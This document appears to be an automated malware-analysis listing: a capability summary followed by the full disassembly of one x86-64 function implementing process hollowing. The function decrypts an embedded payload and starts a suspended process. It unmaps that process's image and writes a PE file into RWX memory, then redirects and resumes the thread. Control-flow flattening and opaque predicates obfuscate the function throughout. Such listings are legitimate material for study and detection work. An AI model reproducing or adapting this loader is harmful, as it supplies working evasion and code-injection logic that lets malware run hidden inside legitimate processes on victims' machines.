Function at 0x402a70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x4c28
call fcn.00405370
sub rsp, rax
mov dword [rsp + 0x4c20], 0
mov dword [rsp + 0x4c1c], ecx
mov qword [rsp + 0x4c10], rdx
mov dword [rsp + 0x46a0], 0x10000b
lea rcx, str.___You_will_need_this:__d_n
mov edx, 0x14e0
call sub.msvcrt.dll_printf
xor edx, edx
mov r8d, 0xd
lea rcx, [rsp + 0x4656]
mov r9d, 0x18
mov r10d, r9d
lea r11, [rsp + 0x4b48]
mov r9d, 0x68
mov esi, r9d
lea rdi, [rsp + 0x4b60]
mov qword [rsp + 0x230], rcx
mov rcx, rdi
mov dword [rsp + 0x22c], edx
mov qword [rsp + 0x220], r8
mov r8, rsi
mov dword [rsp + 0x21c], eax
mov qword [rsp + 0x210], r11
mov qword [rsp + 0x208], r10
call sub.ntdll.dll_memset
mov rcx, qword [rsp + 0x210]
mov edx, dword [rsp + 0x22c]
mov r8, qword [rsp + 0x208]
call sub.ntdll.dll_memset
mov rcx, qword [0x0040701c]
mov qword [rsp + 0x4663], rcx
mov eax, dword [0x00407024]
mov dword [rsp + 0x466b], eax
mov bl, byte [0x00407028]
mov byte [rsp + 0x466f], bl
mov rcx, qword [rsp + 0x230]
mov edx, dword [rsp + 0x22c]
mov r8, qword [rsp + 0x220]
call sub.ntdll.dll_memset
mov dword [rsp + 0x4650], 0
mov dword [rsp + 0x23c], 0xfae2aeca
mov eax, dword [rsp + 0x23c]
mov ecx, eax
sub ecx, 0x977ad3ed
mov dword [rsp + 0x204], eax
mov dword [rsp + 0x200], ecx
je 0x403a46
jmp 0x402bc9
mov eax, dword [rsp + 0x204]
sub eax, 0x9ce2aab5
mov dword [rsp + 0x1fc], eax
je 0x403061
jmp 0x402be7
mov eax, dword [rsp + 0x204]
sub eax, 0xa039ec11
mov dword [rsp + 0x1f8], eax
je 0x403bec
jmp 0x402c05
mov eax, dword [rsp + 0x204]
sub eax, 0xa546ab60
mov dword [rsp + 0x1f4], eax
je 0x403355
jmp 0x402c23
mov eax, dword [rsp + 0x204]
sub eax, 0xb7e6c39e
mov dword [rsp + 0x1f0], eax
je 0x4030ce
jmp 0x402c41
mov eax, dword [rsp + 0x204]
sub eax, 0xe089fa5b
mov dword [rsp + 0x1ec], eax
je 0x40303e
jmp 0x402c5f
mov eax, dword [rsp + 0x204]
sub eax, 0xe2ee7d41
mov dword [rsp + 0x1e8], eax
je 0x40318f
jmp 0x402c7d
mov eax, dword [rsp + 0x204]
sub eax, 0xeb33089b
mov dword [rsp + 0x1e4], eax
je 0x403646
jmp 0x402c9b
mov eax, dword [rsp + 0x204]
sub eax, 0xfae2aeca
mov dword [rsp + 0x1e0], eax
je 0x402f70
jmp 0x402cb9
mov eax, dword [rsp + 0x204]
sub eax, 0xffb7f5c5
mov dword [rsp + 0x1dc], eax
je 0x403bd1
jmp 0x402cd7
mov eax, dword [rsp + 0x204]
sub eax, 0x1f7577f
mov dword [rsp + 0x1d8], eax
je 0x403736
jmp 0x402cf5
mov eax, dword [rsp + 0x204]
sub eax, 0x7c7924e
mov dword [rsp + 0x1d4], eax
je 0x403944
jmp 0x402d13
mov eax, dword [rsp + 0x204]
sub eax, 0x87d6bee
mov dword [rsp + 0x1d0], eax
je 0x4038b6
jmp 0x402d31
mov eax, dword [rsp + 0x204]
sub eax, 0xaf4296d
mov dword [rsp + 0x1cc], eax
je 0x403672
jmp 0x402d4f
mov eax, dword [rsp + 0x204]
sub eax, 0x16b0fb1b
mov dword [rsp + 0x1c8], eax
je 0x4034bf
jmp 0x402d6d
mov eax, dword [rsp + 0x204]
sub eax, 0x1c108fcc
mov dword [rsp + 0x1c4], eax
je 0x403a56
jmp 0x402d8b
mov eax, dword [rsp + 0x204]
sub eax, 0x32de807f
mov dword [rsp + 0x1c0], eax
je 0x403585
jmp 0x402da9
mov eax, dword [rsp + 0x204]
sub eax, 0x3526616c
mov dword [rsp + 0x1bc], eax
je 0x403a83
jmp 0x402dc7
mov eax, dword [rsp + 0x204]
sub eax, 0x45d2c887
mov dword [rsp + 0x1b8], eax
je 0x403dc7
jmp 0x402de5
mov eax, dword [rsp + 0x204]
sub eax, 0x497c8b8a
mov dword [rsp + 0x1b4], eax
je 0x403bfc
jmp 0x402e03
mov eax, dword [rsp + 0x204]
sub eax, 0x4d4d0832
mov dword [rsp + 0x1b0], eax
je 0x40333a
jmp 0x402e21
mov eax, dword [rsp + 0x204]
sub eax, 0x4e0b4b84
mov dword [rsp + 0x1ac], eax
je 0x403d61
jmp 0x402e3f
mov eax, dword [rsp + 0x204]
sub eax, 0x52a45668
mov dword [rsp + 0x1a8], eax
je 0x403876
jmp 0x402e5d
mov eax, dword [rsp + 0x204]
sub eax, 0x588109de
mov dword [rsp + 0x1a4], eax
je 0x403575
jmp 0x402e7b
mov eax, dword [rsp + 0x204]
sub eax, 0x5fb449f9
mov dword [rsp + 0x1a0], eax
je 0x4037c4
jmp 0x402e99
mov eax, dword [rsp + 0x204]
sub eax, 0x6a599642
mov dword [rsp + 0x19c], eax
je 0x403317
jmp 0x402eb7
mov eax, dword [rsp + 0x204]
sub eax, 0x6badc41a
mov dword [rsp + 0x198], eax
je 0x402fc9
jmp 0x402ed5
mov eax, dword [rsp + 0x204]
sub eax, 0x6d6fd749
mov dword [rsp + 0x194], eax
je 0x403d30
jmp 0x402ef3
mov eax, dword [rsp + 0x204]
sub eax, 0x6fc7c7b8
mov dword [rsp + 0x190], eax
je 0x403886
jmp 0x402f11
mov eax, dword [rsp + 0x204]
sub eax, 0x714add7f
mov dword [rsp + 0x18c], eax
je 0x403429
jmp 0x402f2f
mov eax, dword [rsp + 0x204]
sub eax, 0x73ca2932
mov dword [rsp + 0x188], eax
je 0x4030f9
jmp 0x402f4d
mov eax, dword [rsp + 0x204]
sub eax, 0x799dc87a
mov dword [rsp + 0x184], eax
je 0x403702
jmp 0x402f6b
jmp 0x403e78
mov eax, 0xa039ec11
mov ecx, 0x6badc41a
xor edx, edx
mov r8d, dword [0x0040e988]
mov r9d, dword [0x0040e990]
sub edx, 1
mov r10d, r8d
add r10d, edx
imul r8d, r10d
and r8d, 1
cmp r8d, 0
sete r11b
cmp r9d, 0xa
setl bl
mov sil, r11b
and sil, bl
xor r11b, bl
or sil, r11b
test sil, 1
cmovne eax, ecx
mov dword [rsp + 0x23c], eax
jmp 0x403e78
mov eax, 0xa039ec11
mov ecx, 0xe089fa5b
cmp dword [rsp + 0x4650], 0xc
setl dl
and dl, 1
mov byte [rsp + 0x4c26], dl
mov r8d, dword [0x0040e988]
mov r9d, dword [0x0040e990]
mov r10d, r8d
sub r10d, 0xb01d6f8a
sub r10d, 1
add r10d, 0xb01d6f8a
imul r8d, r10d
and r8d, 1
cmp r8d, 0
sete dl
cmp r9d, 0xa
setl r11b
mov bl, dl
and bl, r11b
xor dl, r11b
or bl, dl
test bl, 1
cmovne eax, ecx
mov dword [rsp + 0x23c], eax
jmp 0x403e78
mov eax, 0x73ca2932
mov ecx, 0x9ce2aab5
mov dl, byte [rsp + 0x4c26]
test dl, 1
cmovne eax, ecx
mov dword [rsp + 0x23c], eax
jmp 0x403e78
mov eax, 0xffffffff
movsxd rcx, dword [rsp + 0x4650]
movzx edx, byte [rsp + rcx + 0x4663]
mov r8d, edx
xor r8d, 0xffffffff
and r8d, 0xb5256616
mov r9d, eax
xor r9d, 0xb5256616
and edx, r9d
xor eax, 0x95
and eax, 0xb5256616
and r9d, 0x95
or r8d, edx
or eax, r9d
xor r8d, eax
mov r10b, r8b
movsxd rcx, dword [rsp + 0x4650]
mov byte [rsp + rcx + 0x4656], r10b
mov dword [rsp + 0x23c], 0xb7e6c39e
jmp 0x403e78
mov eax, dword [rsp + 0x4650]
sub eax, 0x21592e75
add eax, 1
add eax, 0x21592e75
mov dword [rsp + 0x4650], eax
mov dword [rsp + 0x23c], 0xfae2aeca
jmp 0x403e78
mov eax, 0x497c8b8a
mov ecx, 0xe2ee7d41
mov dl, 1
mov r8d, dword [0x0040e988]
mov r9d, dword [0x0040e990]
mov r10d, r8d
sub r10d, 0x8124d2e0
sub r10d, 1
add r10d, 0x8124d2e0
imul r8d, r10d
and r8d, 1
cmp r8d, 0
sete r11b
cmp r9d, 0xa
setl bl
mov sil, r11b
xor sil, 0xff
mov dil, bl
xor dil, 0xff
xor dl, 1
mov bpl, sil
and bpl, 0xff
and r11b, dl
mov r14b, dil
and r14b, 0xff
and bl, dl
or bpl, r11b
or r14b, bl
xor bpl, r14b
or sil, dil
xor sil, 0xff
or dl, 1
and sil, dl
or bpl, sil
test bpl, 1
cmovne eax, ecx
mov dword [rsp + 0x23c], eax
jmp 0x403e78
mov eax, 0x11000
mov ecx, eax
call sub.msvcrt.dll_malloc
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0x4656]
lea r8, [0x00407030]
mov r9d, 0x4400
mov r10d, r9d
mov qword [rsp + 0x4648], rax
mov rax, rcx
mov qword [rsp + 0x178], rcx
mov rcx, rax
mov qword [rsp + 0x170], rdx
mov rdx, r8
mov r8, r10
call sub.ntdll.dll_memcpy
mov r8, qword [rsp + 0x4648]
mov rcx, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
call fcn.00402710
xor r9d, r9d
mov ecx, r9d
xor r9d, r9d
mov r11d, 4
lea rdx, [rsp + 0x4b60]
lea r8, [rsp + 0x4b48]
mov r10, qword [rsp + 0x4c10]
mov r10, qword [r10]
mov rsi, rsp
lea rdi, [rsp + 0x4b48]
mov qword [rsi + 0x48], rdi
lea rdi, [rsp + 0x4b60]
mov qword [rsi + 0x40], rdi
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x30], 0
mov dword [rsi + 0x28], 4
mov dword [rsi + 0x20], 0
mov rsi, qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ebx, ebx
mov edi, ebx
mov qword [rsp + 0x168], rcx
mov rcx, rdi
mov qword [rsp + 0x160], rdx
mov rdx, r10
mov qword [rsp + 0x158], r8
mov r8, rdi
mov dword [rsp + 0x154], r9d
mov r9, rdi
mov dword [rsp + 0x150], eax
mov dword [rsp + 0x14c], r11d
call rsi
mov r11d, 0x497c8b8a
mov ebx, 0x6a599642
xor ebp, ebp
cmp eax, 0
setne r14b
and r14b, 1
mov byte [rsp + 0x4c27], r14b
mov eax, dword [0x0040e988]
mov r15d, dword [0x0040e990]
sub ebp, 1
mov r12d, eax
add r12d, ebp
imul eax, r12d
and eax, 1
cmp eax, 0
sete r14b
cmp r15d, 0xa
setl r13b
mov al, r14b
and al, r13b
xor r14b, r13b
or al, r14b
test al, 1
cmovne r11d, ebx
mov dword [rsp + 0x23c], r11d
jmp 0x403e78
mov eax, 0x4d4d0832
mov ecx, 0xa546ab60
mov dl, byte [rsp + 0x4c27]
test dl, 1
cmovne eax, ecx
mov dword [rsp + 0x23c], eax
jmp 0x403e78
mov dword [rsp + 0x4c20], 1
mov dword [rsp + 0x23c], 0xffb7f5c5
jmp 0x403e78
xor eax, eax
mov ecx, eax
mov eax, 0x3000
mov edx, 4
mov dword [rsp + 0x4bd4], 0x4400
mov r8d, dword [rsp + 0x4bd4]
mov r9d, r8d
mov r10, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r8d, r8d
mov r11d, r8d
mov r8d, 0x3000
mov esi, 4
mov qword [rsp + 0x140], rcx
mov rcx, r11
mov dword [rsp + 0x13c], edx
mov rdx, r9
mov r9d, esi
mov dword [rsp + 0x138], eax
call r10
mov qword [rsp + 0x4bf0], rax
mov rcx, qword [rsp + 0x4bf0]
mov rdx, qword [rsp + 0x4648]
mov r8d, dword [rsp + 0x4bd4]
call sub.ntdll.dll_memcpy
mov rcx, qword [rsp + 0x4bc8]
call sub.ntdll.dll_NtClose
mov r9d, 0x32de807f
mov esi, 0x714add7f
mov rcx, qword [rsp + 0x4bf0]
mov qword [rsp + 0x4c08], rcx
mov rcx, qword [rsp + 0x4c08]
movzx edi, word [rcx]
cmp edi, 0x5a4d
cmovne r9d, esi
mov dword [rsp + 0x23c], r9d
mov dword [rsp + 0x134], eax
jmp 0x403e78
mov eax, 0x6d6fd749
mov ecx, 0x16b0fb1b
mov dl, 1
mov r8d, dword [0x0040e988]
mov r9d, dword [0x0040e990]
mov r10d, r8d
sub r10d, 0xc8f31c91
sub r10d, 1
add r10d, 0xc8f31c91
imul r8d, r10d
and r8d, 1
cmp r8d, 0
sete r11b
cmp r9d, 0xa
setl bl
mov sil, r11b
xor sil, 0xff
mov dil, bl
xor dil, 0xff
xor dl, 1
mov bpl, sil
and bpl, 0xff
and r11b, dl
mov r14b, dil
and r14b, 0xff
and bl, dl
or bpl, r11b
or r14b, bl
xor bpl, r14b
or sil, dil
xor sil, 0xff
or dl, 1
and sil, dl
or bpl, sil
test bpl, 1
cmovne eax, ecx
mov dword [rsp + 0x23c], eax
jmp 0x403e78
mov edx, 1
mov rcx, qword [rsp + 0x4b48]
call sub.ntdll.dll_NtTerminateProcess
mov edx, 0x6d6fd749
mov r8d, 0x588109de
mov r9b, 1
xor r10d, r10d
mov dword [rsp + 0x4c20], 1
mov r11d, dword [0x0040e988]
mov esi, dword [0x0040e990]
sub r10d, 1
mov edi, r11d
add edi, r10d
imul r11d, edi
and r11d, 1
cmp r11d, 0
sete bl
cmp esi, 0xa
setl bpl
mov r14b, bl
xor r14b, 0xff
mov r15b, bpl
xor r15b, 0xff
xor r9b, 0
mov r12b, r14b
and r12b, 0
and bl, r9b
mov r13b, r15b
and r13b, 0
and bpl, r9b
or r12b, bl
or r13b, bpl
xor r12b, r13b
or r14b, r15b
xor r14b, 0xff
or r9b, 0
and r14b, r9b
or r12b, r14b
test r12b, 1
cmovne edx, r8d
mov dword [rsp + 0x23c], edx
mov dword [rsp + 0x130], eax
jmp 0x403e78
mov dword [rsp + 0x23c], 0xffb7f5c5
jmp 0x403e78
lea rdx, [rsp + 0x4670]
mov rax, qword [rsp + 0x4bf0]
mov rcx, qword [rsp + 0x4c08]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x4c00], rax
mov rcx, qword [rsp + 0x4b50]
call sub.ntdll.dll_NtGetContextThread
mov r9d, 8
xor r8d, r8d
mov ecx, r8d
lea rdx, [rsp + 0x4be0]
mov r10, qword [rsp + 0x4b48]
mov r11, qword [rsp + 0x46f8]
sub rcx, 0x10
sub r11, rcx
mov rcx, r10
mov qword [rsp + 0x128], rdx
mov rdx, r11
mov r8, qword [rsp + 0x128]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x124], eax
call sub.ntdll.dll_NtReadVirtualMemory
mov r9d, 0xaf4296d
mov esi, 0xeb33089b
mov rcx, qword [rsp + 0x4be0]
mov rdx, qword [rsp + 0x4c00]
cmp rcx, qword [rdx + 0x30]
cmove r9d, esi
mov dword [rsp + 0x23c], r9d
mov dword [rsp + 0x120], eax
jmp 0x403e78
mov rcx, qword [rsp + 0x4b48]
mov rdx, qword [rsp + 0x4be0]
call sub.ntdll.dll_NtUnmapViewOfSection
mov dword [rsp + 0x23c], 0xaf4296d
mov dword [rsp + 0x11c], eax
jmp 0x403e78
mov eax, 0x3000
mov ecx, 0x40
mov rdx, qword [rsp + 0x4b48]
mov r8, qword [rsp + 0x4c00]
mov r8, qword [r8 + 0x30]
mov r9, qword [rsp + 0x4c00]
mov r10d, dword [r9 + 0x50]
mov r9d, r10d
mov r11, rsp
mov dword [r11 + 0x20], 0x40
mov r11, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r10d, 0x3000
mov dword [rsp + 0x118], ecx
mov rcx, rdx
mov rdx, r8
mov r8, r9
mov r9d, r10d
mov dword [rsp + 0x114], eax
call r11
mov r9d, 0x799dc87a
mov r10d, 0x1f7577f
mov qword [rsp + 0x4be8], rax
cmp qword [rsp + 0x4be8], 0
cmovne r9d, r10d
mov dword [rsp + 0x23c], r9d
jmp 0x403e78
mov edx, 1
mov rcx, qword [rsp + 0x4b48]
call sub.ntdll.dll_NtTerminateProcess
mov dword [rsp + 0x4c20], 1
mov dword [rsp + 0x23c], 0xffb7f5c5
mov dword [rsp + 0x110], eax
jmp 0x403e78
mov eax, 0x4e0b4b84
mov ecx, 0x5fb449f9
mov dl, 1
xor r8d, r8d
mov r9d, dword [0x0040e988]
mov r10d, dword [0x0040e990]
sub r8d, 1
mov r11d, r9d
add r11d, r8d
imul r9d, r11d
and r9d, 1
cmp r9d, 0
sete bl
cmp r10d, 0xa
setl sil
mov dil, bl
xor dil, 0xff
mov bpl, sil
xor bpl, 0xff
xor dl, 1
mov r14b, dil
and r14b, 0xff
and bl, dl
mov r15b, bpl
and r15b, 0xff
and sil, dl
or r14b, bl
or r15b, sil
xor r14b, r15b
or dil, bpl
xor dil, 0xff
or dl, 1
and dil, dl
or r14b, dil
test r14b, 1
cmovne eax, ecx
mov dword [rsp + 0x23c], eax
jmp 0x403e78
xor eax, eax
mov ecx, eax
mov rdx, qword [rsp + 0x4b48]
mov r8, qword [rsp + 0x4be8]
mov r9, qword [rsp + 0x4bf0]
mov r10, qword [rsp + 0x4c00]
mov eax, dword [r10 + 0x54]
mov qword [rsp + 0x108], rcx
mov rcx, rdx
mov rdx, r8
mov r8, r9
mov r9d, eax
mov qword [rsp + 0x20], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov r9d, 0x4e0b4b84
mov r11d, 0x52a45668
xor esi, esi
mov dword [rsp + 0x4bdc], 0
mov edi, dword [0x0040e988]
mov ebx, dword [0x0040e990]
sub esi, 1
mov ebp, edi
add ebp, esi
imul edi, ebp
and edi, 1
cmp edi, 0
sete r14b
cmp ebx, 0xa
setl r15b
mov r12b, r14b
and r12b, r15b
xor r14b, r15b
or r12b, r14b
test r12b, 1
cmovne r9d, r11d
mov dword [rsp + 0x23c], r9d
mov dword [rsp + 0x104], eax
jmp 0x403e78
mov dword [rsp + 0x23c], 0x6fc7c7b8
jmp 0x403e78
mov eax, 0x3526616c
mov ecx, 0x87d6bee
mov edx, dword [rsp + 0x4bdc]
mov r8, qword [rsp + 0x4c00]
movzx r9d, word [r8 + 6]
cmp edx, r9d
cmovb eax, ecx
mov dword [rsp + 0x23c], eax
jmp 0x403e78
mov eax, 0x45d2c887
mov ecx, 0x7c7924e
mov dl, 1
xor r8d, r8d
mov r9d, dword [0x0040e988]
mov r10d, dword [0x0040e990]
sub r8d, 1
mov r11d, r9d
add r11d, r8d
imul r9d, r11d
and r9d, 1
cmp r9d, 0
sete bl
cmp r10d, 0xa
setl sil
mov dil, bl
xor dil, 0xff
mov bpl, sil
xor bpl, 0xff
xor dl, 0
mov r14b, dil
and r14b, 0
and bl, dl
mov r15b, bpl
and r15b, 0
and sil, dl
or r14b, bl
or r15b, sil
xor r14b, r15b
or dil, bpl
xor dil, 0xff
or dl, 0
and dil, dl
or r14b, dil
test r14b, 1
cmovne eax, ecx
mov dword [rsp + 0x23c], eax
jmp 0x403e78
xor eax, eax
mov ecx, eax
mov rdx, qword [rsp + 0x4bf0]
mov r8, qword [rsp + 0x4c08]
movsxd r8, dword [r8 + 0x3c]
add rdx, r8
add rdx, 0x108
mov eax, dword [rsp + 0x4bdc]
mov r8d, eax
imul r8, r8, 0x28
add rdx, r8
mov qword [rsp + 0x4bf8], rdx
mov rdx, qword [rsp + 0x4b48]
mov r8, qword [rsp + 0x4be8]
mov r9, qword [rsp + 0x4bf8]
mov eax, dword [r9 + 0xc]
mov r9d, eax
add r8, r9
mov r9, qword [rsp + 0x4bf0]
mov r10, qword [rsp + 0x4bf8]
mov eax, dword [r10 + 0x14]
mov r10d, eax
add r9, r10
mov r10, qword [rsp + 0x4bf8]
mov eax, dword [r10 + 0x10]
mov qword [rsp + 0xf8], rcx
mov rcx, rdx
mov rdx, r8
mov r8, r9
mov r9d, eax
mov qword [rsp + 0x20], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov r9d, 0x45d2c887
mov r11d, 0x977ad3ed
xor esi, esi
mov edi, dword [0x0040e988]
mov ebx, dword [0x0040e990]
sub esi, 1
mov ebp, edi
add ebp, esi
imul edi, ebp
and edi, 1
cmp edi, 0
sete r14b
cmp ebx, 0xa
setl r15b
mov r12b, r14b
and r12b, r15b
xor r14b, r15b
or r12b, r14b
test r12b, 1
cmovne r9d, r11d
mov dword [rsp + 0x23c], r9d
mov dword [rsp + 0xf4], eax
jmp 0x403e78
mov dword [rsp + 0x23c], 0x1c108fcc
jmp 0x403e78
xor eax, eax
mov ecx, dword [rsp + 0x4bdc]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [rsp + 0x4bdc], eax
mov dword [rsp + 0x23c], 0x6fc7c7b8
jmp 0x403e78
mov r9d, 8
xor eax, eax
mov ecx, eax
mov rdx, qword [rsp + 0x4be8]
add rdx, 0x14e0
mov qword [rsp + 0x46f0], rdx
mov rdx, qword [rsp + 0x4b48]
mov r8, qword [rsp + 0x46f8]
sub rcx, 0x10
sub r8, rcx
mov rcx, qword [rsp + 0x4c00]
add rcx, 0x18
add rcx, 0x18
mov qword [rsp + 0xe8], rcx
mov rcx, rdx
mov rdx, r8
mov r8, qword [rsp + 0xe8]
mov qword [rsp + 0x20], 0
call sub.ntdll.dll_NtWriteVirtualMemory
lea rdx, [rsp + 0x4670]
mov rcx, qword [rsp + 0x4b50]
mov dword [rsp + 0xe4], eax
call sub.ntdll.dll_NtSetContextThread
xor r9d, r9d
mov edx, r9d
mov rcx, qword [rsp + 0x4b50]
mov dword [rsp + 0xe0], eax
call sub.ntdll.dll_NtResumeThread
xor edx, edx
xor r9d, r9d
mov r8d, r9d
mov rcx, qword [rsp + 0x4b48]
mov dword [rsp + 0xdc], eax
call sub.ntdll.dll_NtWaitForSingleObject
mov rcx, qword [rsp + 0x4b50]
mov dword [rsp + 0xd8], eax
call sub.ntdll.dll_NtClose
mov rcx, qword [rsp + 0x4b48]
mov dword [rsp + 0xd4], eax
call sub.ntdll.dll_NtClose
xor edx, edx
mov ecx, edx
mov edx, 0x8000
mov r8, qword [rsp + 0x4bf0]
mov r10, qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov r11d, r9d
mov r9d, 0x8000
mov qword [rsp + 0xc8], rcx
mov rcx, r8
mov dword [rsp + 0xc4], edx
mov rdx, r11
mov r8d, r9d
mov dword [rsp + 0xc0], eax
call r10
mov dword [rsp + 0x4c20], 0
mov dword [rsp + 0x23c], 0xffb7f5c5
mov dword [rsp + 0xbc], eax
jmp 0x403e78
mov eax, dword [rsp + 0x4c20]
add rsp, 0x4c28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x23c], 0x6badc41a
jmp 0x403e78
mov eax, 0x11000
mov ecx, eax
call sub.msvcrt.dll_malloc
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0x4656]
lea r8, [0x00407030]
mov r9d, 0x4400
mov r10d, r9d
mov qword [rsp + 0x4648], rax
mov rax, rcx
mov qword [rsp + 0xb0], rcx
mov rcx, rax
mov qword [rsp + 0xa8], rdx
mov rdx, r8
mov r8, r10
call sub.ntdll.dll_memcpy
mov r8, qword [rsp + 0x4648]
mov rcx, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb0]
call fcn.00402710
xor r9d, r9d
mov ecx, r9d
xor r9d, r9d
mov r11d, 4
lea rdx, [rsp + 0x4b60]
lea r8, [rsp + 0x4b48]
mov r10, qword [rsp + 0x4c10]
mov r10, qword [r10]
mov rsi, rsp
lea rdi, [rsp + 0x4b48]
mov qword [rsi + 0x48], rdi
lea rdi, [rsp + 0x4b60]
mov qword [rsi + 0x40], rdi
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x30], 0
mov dword [rsi + 0x28], 4
mov dword [rsi + 0x20], 0
mov rsi, qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ebx, ebx
mov edi, ebx
mov qword [rsp + 0xa0], rcx
mov rcx, rdi
mov qword [rsp + 0x98], rdx
mov rdx, r10
mov qword [rsp + 0x90], r8
mov r8, rdi
mov dword [rsp + 0x8c], r9d
mov r9, rdi
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x84], r11d
call rsi
mov dword [rsp + 0x23c], 0xe2ee7d41
mov dword [rsp + 0x80], eax
jmp 0x403e78
mov edx, 1
mov rcx, qword [rsp + 0x4b48]
call sub.ntdll.dll_NtTerminateProcess
mov dword [rsp + 0x4c20], 1
mov dword [rsp + 0x23c], 0x16b0fb1b
mov dword [rsp + 0x7c], eax
jmp 0x403e78
xor eax, eax
mov ecx, eax
mov rdx, qword [rsp + 0x4b48]
mov r8, qword [rsp + 0x4be8]
mov r9, qword [rsp + 0x4bf0]
mov r10, qword [rsp + 0x4c00]
mov eax, dword [r10 + 0x54]
mov qword [rsp + 0x70], rcx
mov rcx, rdx
mov rdx, r8
mov r8, r9
mov r9d, eax
mov qword [rsp + 0x20], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [rsp + 0x4bdc], 0
mov dword [rsp + 0x23c], 0x5fb449f9
mov dword [rsp + 0x6c], eax
jmp 0x403e78
xor eax, eax
mov ecx, eax
mov rdx, qword [rsp + 0x4bf0]
mov r8, qword [rsp + 0x4c08]
movsxd r8, dword [r8 + 0x3c]
add rdx, r8
add rdx, 0x108
mov eax, dword [rsp + 0x4bdc]
mov r8d, eax
imul r8, r8, 0x28
add rdx, r8
mov qword [rsp + 0x4bf8], rdx
mov rdx, qword [rsp + 0x4b48]
mov r8, qword [rsp + 0x4be8]
mov r9, qword [rsp + 0x4bf8]
mov eax, dword [r9 + 0xc]
mov r9d, eax
add r8, r9
mov r9, qword [rsp + 0x4bf0]
mov r10, qword [rsp + 0x4bf8]
mov eax, dword [r10 + 0x14]
mov r10d, eax
add r9, r10
mov r10, qword [rsp + 0x4bf8]
mov eax, dword [r10 + 0x10]
mov qword [rsp + 0x60], rcx
mov rcx, rdx
mov rdx, r8
mov r8, r9
mov r9d, eax
mov qword [rsp + 0x20], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [rsp + 0x23c], 0x7c7924e
mov dword [rsp + 0x5c], eax
jmp 0x402ba1